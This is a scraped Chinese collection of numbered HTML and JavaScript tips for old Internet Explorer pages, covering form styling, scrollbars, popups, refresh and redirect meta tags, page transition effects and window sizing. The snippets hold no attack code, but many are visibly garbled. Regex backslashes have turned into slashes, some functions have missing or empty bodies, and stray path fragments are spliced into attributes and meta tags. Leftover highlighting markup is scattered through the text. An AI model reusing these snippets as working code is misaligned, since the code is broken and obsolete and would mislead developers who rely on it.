&nbsp; &lt;META &nbsp; HTTP-EQUIV="expires" &nbsp; CONTENT="Wed, &nbsp; 26 &nbsp; Feb &nbsp; 1997 &nbsp; 08:21:57 &nbsp; GMT"&gt; &nbsp; <br />
&nbsp; 或者&lt;META &nbsp; HTTP-EQUIV="expires" &nbsp; CONTENT="0"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 19.怎样让表单没有凹凸感？ &nbsp; <br />
&nbsp; &lt;input &nbsp; type=text &nbsp; style="border:1 &nbsp; solid &nbsp; #000000"&gt; &nbsp; &nbsp; <br />
&nbsp; 或 &nbsp; <br />
&nbsp; &lt;input &nbsp; type=text &nbsp; style="border-left:none; &nbsp; border-right:none; &nbsp; border-top:none; &nbsp; border-bottom: &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 1 &nbsp; solid &nbsp; #000000"&gt;&lt;/textarea&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 20.&lt;div&gt;&lt;span&gt;&amp;&lt;layer&gt;的区别？ &nbsp; &nbsp; <br />
&nbsp; &lt;div&gt;(division)用来定义大段的页面元素，会产生转行 &nbsp; &nbsp; <br />
&nbsp; &lt;span&gt;用来定义同一行内的元素，跟&lt;div&gt;的唯一区别是不产生转行 &nbsp; &nbsp; <br />
&nbsp; &lt;layer&gt;是ns的标记，ie不支持，相当于&lt;div&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 21.让弹出窗口总是在最上面: &nbsp; <br />
&nbsp; &lt;body &nbsp; onblur="this.focus();"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 22.不要滚动条? &nbsp; &nbsp; <br />
&nbsp; 让竖条没有: &nbsp; &nbsp; <br />
&nbsp; &lt;body &nbsp; style="overflow:scroll;overflow-y:hidden"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;/body&gt; &nbsp; &nbsp; <br />
&nbsp; 让横条没有: &nbsp; &nbsp; <br />
&nbsp; &lt;body &nbsp; style="overflow:scroll;overflow-x:hidden"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;/body&gt; &nbsp; &nbsp; <br />
&nbsp; 两个都去掉？更简单了 &nbsp; &nbsp; <br />
&nbsp; &lt;body &nbsp; scroll="no"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;/body&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 23.怎样去掉图片链接点击后，图片周围的虚线？ &nbsp; <br />
&nbsp; &lt;a &nbsp; href="#" &nbsp; onFocus="this.blur()"&gt;&lt;img &nbsp; src="/blog/logo.jpg" &nbsp; border=0&gt;&lt;/a&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 24.电子邮件处理提交表单 &nbsp; <br />
&nbsp; &lt;form &nbsp; name="form1" &nbsp; method="post" &nbsp; action="mailto:****@***.com" &nbsp; enctype="text/plain"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;input &nbsp; type=submit&gt; &nbsp; <br />
&nbsp; &lt;/form&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 25.在打开的子窗口刷新父窗口的代码里如何写？ &nbsp; <br />
&nbsp; window.opener.location.reload() &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 26.如何设定打开页面的大小 &nbsp; <br />
&nbsp; &lt;body &nbsp; onload="top.resizeTo(300,200);"&gt; &nbsp; <br />
&nbsp; 打开页面的位置&lt;body &nbsp; onload="top.moveBy(300,200);"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动 &nbsp; &nbsp; <br />
&nbsp; &lt;STYLE&gt; &nbsp; &nbsp; <br />
&nbsp; body &nbsp; &nbsp; <br />
&nbsp; {background-image:url(/blog/logo.gif); &nbsp; background-repeat:no-repeat; &nbsp; &nbsp; <br />
&nbsp; background-position:center;background-attachment: &nbsp; fixed} &nbsp; &nbsp; <br />
&nbsp; &lt;/STYLE&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
<clk>&nbsp; 28. &nbsp; 检查一段字符串是否全由<nobr oncontextmenu="return false;" onmousemove="kwM(9);" id="clickeyekey9" onmouseover="kwE(event,9, this);" style="color: #6600ff; border-bottom: #6600ff 1px dotted; background-color: transparent; text-decoration: underline" onclick="return kwC(event,9)" onmouseout="kwL(event,this)" target="_blank">数字</nobr>组成 &nbsp; </clk><br />
&nbsp; &lt;script &nbsp; language="Javascript"&gt;&lt;!-- &nbsp; <br />
&nbsp; function &nbsp; checkNum(str){return &nbsp; str.match(//D/)==null} &nbsp; <br />
&nbsp; alert(checkNum("1232142141")) &nbsp; <br />
&nbsp; alert(checkNum("123214214a1")) &nbsp; <br />
&nbsp; // &nbsp; --&gt;&lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 29. &nbsp; 获得一个窗口的大小 &nbsp; <br />
&nbsp; document.body.clientWidth; &nbsp; document.body.clientHeight &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 30. &nbsp; 怎么判断是否是字符 &nbsp; <br />
&nbsp; if &nbsp; (/[^/x00-/xff]/g.test(s)) &nbsp; alert("含有汉字"); &nbsp; <br />
&nbsp; else &nbsp; alert("全是字符"); &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 31.TEXTAREA自适应文字行数的多少 &nbsp; <br />
&nbsp; &lt;textarea &nbsp; rows=1 &nbsp; name=s1 &nbsp; cols=27 &nbsp; onpropertychange="this.style.posHeight=this.scrollHeight"&gt; &nbsp; <br />
&nbsp; &lt;/textarea&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 32. &nbsp; 日期减去天数等于第二个日期 &nbsp; <br />
&nbsp; &lt;script &nbsp; language=Javascript&gt; &nbsp; <br />
&nbsp; function &nbsp; cc(dd,dadd) &nbsp; <br />
&nbsp; { &nbsp; <br />
&nbsp; //可以加上错误处理 &nbsp; <br />
&nbsp; var &nbsp; a &nbsp; = &nbsp; new &nbsp; Date(dd) &nbsp; <br />
&nbsp; a &nbsp; = &nbsp; a.valueOf() &nbsp; <br />
&nbsp; a &nbsp; = &nbsp; a &nbsp; - &nbsp; dadd &nbsp; * &nbsp; 24 &nbsp; * &nbsp; 60 &nbsp; * &nbsp; 60 &nbsp; * &nbsp; 1000 &nbsp; <br />
&nbsp; a &nbsp; = &nbsp; new &nbsp; Date(a) &nbsp; <br />
&nbsp; alert(a.getFullYear() &nbsp; + &nbsp; "年" &nbsp; + &nbsp; (a.getMonth() &nbsp; + &nbsp; 1) &nbsp; + &nbsp; "月" &nbsp; + &nbsp; a.getDate() &nbsp; + &nbsp; "日") &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; cc("12/23/2002",2) &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 33. &nbsp; 选择了哪一个Radio &nbsp; <br />
&nbsp; &lt;HTML&gt;&lt;script &nbsp; language="vbscript"&gt; &nbsp; <br />
&nbsp; function &nbsp; checkme() &nbsp; <br />
&nbsp; for &nbsp; each &nbsp; ob &nbsp; in &nbsp; radio1 &nbsp; <br />
&nbsp; if &nbsp; ob.checked &nbsp; then &nbsp; window.alert &nbsp; ob.value &nbsp; <br />
&nbsp; next &nbsp; <br />
&nbsp; end &nbsp; function &nbsp; <br />
&nbsp; &lt;/script&gt;&lt;BODY&gt; &nbsp; <br />
&nbsp; &lt;INPUT &nbsp; name="radio1" &nbsp; type="radio" &nbsp; value="style" &nbsp; checked&gt;Style &nbsp; <br />
&nbsp; &lt;INPUT &nbsp; name="radio1" &nbsp; type="radio" &nbsp; value="barcode"&gt;Barcode &nbsp; <br />
&nbsp; &lt;INPUT &nbsp; type="button" &nbsp; value="check" &nbsp; onclick="checkme()"&gt; &nbsp; <br />
&nbsp; &lt;/BODY&gt;&lt;/HTML&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 34.脚本永不出错 &nbsp; <br />
&nbsp; &lt;SCRIPT &nbsp; LANGUAGE="JavaScript"&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;!-- &nbsp; Hide &nbsp; &nbsp; <br />
&nbsp; function &nbsp; killErrors() &nbsp; { &nbsp; &nbsp; <br />
&nbsp; return &nbsp; true; &nbsp; &nbsp; <br />
&nbsp; } &nbsp; &nbsp; <br />
&nbsp; window.onerror &nbsp; = &nbsp; killErrors; &nbsp; &nbsp; <br />
&nbsp; // &nbsp; --&gt; &nbsp; &nbsp; <br />
&nbsp; &lt;/SCRIPT&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 35.ENTER键可以让光标移到下一个输入框 &nbsp; <br />
&nbsp; &lt;input &nbsp; onkeydown="if(event.keyCode==13)event.keyCode=9"&gt;&nbsp;<br />
&nbsp; <br />
36. &nbsp; 检测某个网站的链接速度： &nbsp; <br />
&nbsp; 把如下代码加入&lt;body&gt;区域中: &nbsp; <br />
&nbsp; &lt;script &nbsp; language=Javascript&gt; &nbsp; <br />
&nbsp; tim=1 &nbsp; <br />
&nbsp; setInterval("tim++",100) &nbsp; <br />
&nbsp; b=1 &nbsp; <br />
&nbsp; var &nbsp; autourl=new &nbsp; Array() &nbsp; <br />
&nbsp; autourl[1]="www.njcatv.net" &nbsp; <br />
&nbsp; autourl[2]="javacool.3322.net" &nbsp; <br />
&nbsp; autourl[3]="www.sina.com.cn" &nbsp; <br />
&nbsp; autourl[4]="www.nuaa.edu.cn" &nbsp; <br />
&nbsp; autourl[5]="www.cctv.com" &nbsp; <br />
&nbsp; function &nbsp; butt(){ &nbsp; <br />
&nbsp; document.write("&lt;form &nbsp; name=autof&gt;") &nbsp; <br />
&nbsp; for(var &nbsp; i=1;i&lt;autourl.length;i++) &nbsp; <br />
&nbsp; document.write("&lt;input &nbsp; type=text &nbsp; name=txt"+i+" &nbsp; size=10 &nbsp; value="/blog/测试中......&gt;" &nbsp; =》&lt;input &nbsp; type=text &nbsp; &nbsp; <br />
&nbsp; name=url"+i+" &nbsp; size=40&gt; &nbsp; =》&lt;input &nbsp; type=button &nbsp; value=GO &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; onclick=window.open(this.form.url"+i+".value)&gt;&lt;br&gt;") &nbsp; <br />
&nbsp; document.write("&lt;input &nbsp; type=submit &nbsp; value=刷新&gt;&lt;/form&gt;") &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; butt() &nbsp; <br />
&nbsp; function &nbsp; auto(url) &nbsp; <br />
&nbsp; else &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; b++ &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; function &nbsp; run(){for(var &nbsp; i=1;i&lt;autourl.length;i++)document.write("&lt;img &nbsp; src=http://"+autourl+"/"+Math.random()+" &nbsp; width=1 &nbsp; height=1 &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; onerror=auto("http://"+autourl+"")&gt;")} &nbsp; <br />
&nbsp; run()&lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 37. &nbsp; 各种样式的光标 &nbsp; <br />
&nbsp; auto &nbsp; ：标准光标 &nbsp; <br />
&nbsp; default &nbsp; ：标准箭头 &nbsp; <br />
&nbsp; hand &nbsp; ：手形光标 &nbsp; <br />
&nbsp; wait &nbsp; ：等待光标 &nbsp; <br />
&nbsp; text &nbsp; ：I形光标 &nbsp; <br />
&nbsp; vertical-text &nbsp; ：水平I形光标 &nbsp; <br />
&nbsp; no-drop &nbsp; ：不可拖动光标 &nbsp; <br />
&nbsp; not-allowed &nbsp; ：无效光标 &nbsp; <br />
&nbsp; help &nbsp; ：?帮助光标 &nbsp; <br />
&nbsp; all-scroll &nbsp; ：三角方向标 &nbsp; <br />
&nbsp; move &nbsp; ：移动标 &nbsp; <br />
&nbsp; crosshair &nbsp; ：十字标 &nbsp; <br />
&nbsp; e-resize &nbsp; <br />
&nbsp; n-resize &nbsp; <br />
&nbsp; nw-resize &nbsp; <br />
&nbsp; w-resize &nbsp; <br />
&nbsp; s-resize &nbsp; <br />
&nbsp; se-resize &nbsp; <br />
&nbsp; sw-resize &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 38.页面进入和退出的特效 &nbsp; <br />
&nbsp; 进入页面&lt;meta &nbsp; http-equiv="Page-Enter" &nbsp; content="revealTrans(duration=x, &nbsp; transition=y)"&gt; &nbsp; <br />
&nbsp; 推出页面&lt;meta &nbsp; http-equiv="Page-Exit" &nbsp; content="revealTrans(duration=x, &nbsp; transition=y)"&gt; &nbsp; &nbsp; &nbsp; <br />
&nbsp; 这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使用哪种特效，取值为1-23: &nbsp; <br />
&nbsp; 　　0 &nbsp; 矩形缩小 &nbsp; &nbsp; <br />
&nbsp; 　　1 &nbsp; 矩形扩大 &nbsp; &nbsp; <br />
&nbsp; 　　2 &nbsp; 圆形缩小 &nbsp; <br />
&nbsp; 　　3 &nbsp; 圆形扩大 &nbsp; &nbsp; <br />
&nbsp; 　　4 &nbsp; 下到上刷新 &nbsp; &nbsp; <br />
&nbsp; 　　5 &nbsp; 上到下刷新 &nbsp; <br />
&nbsp; 　　6 &nbsp; 左到右刷新 &nbsp; &nbsp; <br />
&nbsp; 　　7 &nbsp; 右到左刷新 &nbsp; &nbsp; <br />
&nbsp; 　　8 &nbsp; 竖百叶窗 &nbsp; <br />
&nbsp; 　　9 &nbsp; 横百叶窗 &nbsp; &nbsp; <br />
&nbsp; 　　10 &nbsp; 错位横百叶窗 &nbsp; &nbsp; <br />
&nbsp; 　　11 &nbsp; 错位竖百叶窗 &nbsp; <br />
&nbsp; 　　12 &nbsp; 点扩散 &nbsp; &nbsp; <br />
&nbsp; 　　13 &nbsp; 左右到中间刷新 &nbsp; &nbsp; <br />
&nbsp; 　　14 &nbsp; 中间到左右刷新 &nbsp; <br />
&nbsp; 　　15 &nbsp; 中间到上下 &nbsp; <br />
&nbsp; 　　16 &nbsp; 上下到中间 &nbsp; &nbsp; <br />
&nbsp; 　　17 &nbsp; 右下到左上 &nbsp; <br />
&nbsp; 　　18 &nbsp; 右上到左下 &nbsp; &nbsp; <br />
&nbsp; 　　19 &nbsp; 左上到右下 &nbsp; &nbsp; <br />
&nbsp; 　　20 &nbsp; 左下到右上 &nbsp; <br />
&nbsp; 　　21 &nbsp; 横条 &nbsp; &nbsp; <br />
&nbsp; 　　22 &nbsp; 竖条 &nbsp; &nbsp; <br />
&nbsp; 　　23 &nbsp; 以上22种随机选择一种 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 39.在规定时间内跳转 &nbsp; <br />
&nbsp; &lt;META &nbsp; http-equiv=V="REFRESH" &nbsp; content="5;URL=http://www.williamlong.info"&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 40.网页是否被检索 &nbsp; <br />
&nbsp; &lt;meta &nbsp; name="ROBOTS" &nbsp; content="属性值"&gt; &nbsp; <br />
&nbsp; 　　其中属性值有以下一些: &nbsp; <br />
&nbsp; 　　属性值为"all": &nbsp; 文件将被检索，且页上链接可被查询； &nbsp; <br />
&nbsp; 　　属性值为"none": &nbsp; 文件不被检索，而且不查询页上的链接； &nbsp; <br />
&nbsp; 　　属性值为"index": &nbsp; 文件将被检索； &nbsp; <br />
&nbsp; 　　属性值为"follow": &nbsp; 查询页上的链接； &nbsp; <br />
&nbsp; 　　属性值为"noindex": &nbsp; 文件不检索，但可被查询链接； &nbsp; <br />
&nbsp; 　　属性值为"nofollow": &nbsp; 文件不被检索，但可查询页上的链接。 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 最大化窗口？ &nbsp; <br />
&nbsp; &lt;script &nbsp; language="JavaScript"&gt; &nbsp; <br />
&nbsp; &lt;!-- &nbsp; <br />
&nbsp; self.moveTo(0,0) &nbsp; <br />
&nbsp; self.resizeTo(screen.availWidth,screen.availHeight) &nbsp; <br />
&nbsp; //--&gt; &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
<clk>&nbsp; 解决问题：由于层与下拉框之间的优先级是：下拉框 &nbsp; &gt; &nbsp; 层，因此在显示的时候，会因为优先级的次序而会出现如上问题。（如果几个元素都是层的话，<nobr oncontextmenu="return false;" onmousemove="kwM(2);" id="clickeyekey2" onmouseover="kwE(event,2, this);" style="color: #6600ff; border-bottom: #6600ff 1px dotted; background-color: transparent; text-decoration: underline" onclick="return kwC(event,2)" onmouseout="kwL(event,this)" target="_blank">我们</nobr>可以通过层的 &nbsp; z-index &nbsp; 属性来设置）解决办法就是：给层中放一个优先级比下拉框更高的元素（iframe），从而解决此问题！具体解决代码如下： &nbsp; </clk><br />
&nbsp; &nbsp; <br />
&nbsp; &lt;div &nbsp; id="menu" &nbsp; style="position:absolute; &nbsp; visibility:hidden; &nbsp; top:20px; &nbsp; left:20px; &nbsp; width:100px; &nbsp; height:200px; &nbsp; background-color:#6699cc;"&gt; &nbsp; <br />
&nbsp; &lt;table&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;tr&gt;&lt;td&gt;item &nbsp; 1&lt;/td&gt;&lt;/tr&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;tr&gt;&lt;td&gt;item &nbsp; 2&lt;/td&gt;&lt;/tr&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;tr&gt;&lt;td&gt;item &nbsp; 3&lt;/td&gt;&lt;/tr&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;tr&gt;&lt;td&gt;item &nbsp; 4&lt;/td&gt;&lt;/tr&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;tr&gt;&lt;td&gt;item &nbsp; 5&lt;/td&gt;&lt;/tr&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;/table&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;iframe &nbsp; src="/blog/javascript:false" &nbsp; style="position:absolute; &nbsp; visibility:inherit; &nbsp; top:0px; &nbsp; left:0px; &nbsp; width:100px; &nbsp; height:200px; &nbsp; z-index:-1; &nbsp; filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)';"&gt;&lt;/iframe&gt; &nbsp; <br />
&nbsp; &lt;/div&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;a &nbsp; href="#" &nbsp; onclick="document.getElementById('menu').style.visibility='visible'"&gt;menu&lt;/a&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;form&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &lt;select&gt;&lt;option&gt;A &nbsp; form &nbsp; selection &nbsp; list&lt;/option&gt;&lt;/select&gt; &nbsp; <br />
&nbsp; &lt;/form&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 输入框也可以做的很漂亮了 &nbsp; <br />
&nbsp; &lt;div &nbsp; align="center"&gt;&lt;input &nbsp; type="hidden" &nbsp; name="hao" &nbsp; value="yes"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 外向数：&lt;input &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=answer &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; style="color: &nbsp; rgb(255,0,0); &nbsp; border-left: &nbsp; medium &nbsp; none; &nbsp; border-right: &nbsp; medium &nbsp; none; &nbsp; border-top: &nbsp; medium &nbsp; none; &nbsp; border-bottom: &nbsp; 1px &nbsp; solid &nbsp; rgb(192,192,192)"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 　没回答的题数：&lt;input &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=unanswer &nbsp; id="unanswer" &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; style="color: &nbsp; rgb(255,0,0); &nbsp; border-left: &nbsp; medium &nbsp; none; &nbsp; border-right: &nbsp; medium &nbsp; none; &nbsp; border-top: &nbsp; medium &nbsp; none; &nbsp; border-bottom: &nbsp; 1px &nbsp; solid &nbsp; rgb(192,192,192)"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;br&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 总得分: &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=score &nbsp; id="score" &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; style="color: &nbsp; rgb(255,0,0); &nbsp; border-left: &nbsp; medium &nbsp; none; &nbsp; border-right: &nbsp; medium &nbsp; none; &nbsp; border-top: &nbsp; medium &nbsp; none; &nbsp; border-bottom: &nbsp; 1px &nbsp; solid &nbsp; rgb(192,192,192)"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 　结　　　　论: &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; name=xgjg &nbsp; id="xgjg" &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; style="color: &nbsp; rgb(255,0,0); &nbsp; border-left: &nbsp; medium &nbsp; none; &nbsp; border-right: &nbsp; medium &nbsp; none; &nbsp; border-top: &nbsp; medium &nbsp; none; &nbsp; border-bottom: &nbsp; 1px &nbsp; solid &nbsp; rgb(192,192,192)"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;br&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;br&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input &nbsp; onClick=processForm(this.form) &nbsp; style="FONT-FAMILY: &nbsp; 宋体; &nbsp; FONT-SIZE: &nbsp; 9pt" &nbsp; type=button &nbsp; value=查看结果 &nbsp; name="button"&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input &nbsp; type="reset" &nbsp; name="Submit" &nbsp; value="重做"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/div&gt; &nbsp; <br />
&nbsp; 注意：修改&lt;body&gt;为&lt;body &nbsp; onload="max.Click()"&gt;即为打开最大 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 化窗口，而如果改为&lt;body &nbsp; onload="min.Click()"&gt;就变为窗口一打开就最小化 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;object &nbsp; id="min" &nbsp; type="application/x-oleobject" &nbsp; classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;param &nbsp; name="Command" &nbsp; value="Minimize"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/object&gt; &nbsp; &lt;object &nbsp; id="max" &nbsp; type="application/x-oleobject" &nbsp; classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;param &nbsp; name="Command" &nbsp; value="Maximize"&gt; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/object&gt; &nbsp; <br />
&nbsp; &lt;/body&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 页面自动刷新（说明） &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 当你做网页时，是不是有的时候想让你的网页自动不停刷新，或者过一段时间自动跳转到另外一个你自己设定的页面？其实实现这个效果非常地简单，而且这个效果甚至不能称之为特效。你只要把如下代码加入你的网页中就可以了。 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 1，页面自动刷新：把如下代码加入&lt;head&gt;区域中&lt;meta &nbsp; http-equiv="refresh" &nbsp; content="20"&gt;,其中20指每隔20秒刷新一次页面. &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 2，页面自动跳转：把如下代码加入&lt;head&gt;区域中&lt;meta &nbsp; http-equiv="refresh" &nbsp; content="20;url=http://www.williamlong.info"&gt;,其中20指隔20秒后跳转到http://www.williamlong.info页面。 &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 页面自动关闭 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 5000是指时间&lt;body &nbsp; onLoad="setTimeout(window.close, &nbsp; 5000)"&gt; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 弹出窗口自动关闭 &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 10秒后弹出窗口自动关闭 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 注意：在新的tan.htm的body中要加 &nbsp; &lt;onLoad="closeit()"&gt; &nbsp; <br />
&nbsp; head &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;script &nbsp; language="JavaScript"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;!-- &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; var &nbsp; gt &nbsp; = &nbsp; unescape('%3e'); &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; var &nbsp; popup &nbsp; = &nbsp; null; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; var &nbsp; over &nbsp; = &nbsp; "Launch &nbsp; Pop-up &nbsp; Navigator"; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; popup &nbsp; = &nbsp; window.open('', &nbsp; 'popupnav', &nbsp; 'width=225,height=235,resizable=1,scrollbars=auto'); &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; if &nbsp; (popup &nbsp; != &nbsp; null) &nbsp; { &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; if &nbsp; (popup.opener &nbsp; == &nbsp; null) &nbsp; { &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; popup.opener &nbsp; = &nbsp; self; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; popup.location.href &nbsp; = &nbsp; 'tan.htm'; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; } &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; // &nbsp; --&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &lt;body&gt;注意：这段代码是在新建文件中的 &nbsp; <br />
&nbsp; &lt;script &nbsp; language="JavaScript"&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; function &nbsp; closeit() &nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &lt;/script&gt; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; 这个可不是&lt;iframe&gt;(引用）呀。是直接调用的。以下代码加入&lt;body&gt;区域 &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &lt;object &nbsp; type="text/x-scriptlet" &nbsp; width="800" &nbsp; &nbsp; height="1000" &nbsp; data="../index.htm"&gt; &nbsp; <br />
&nbsp; &lt;/object&gt;
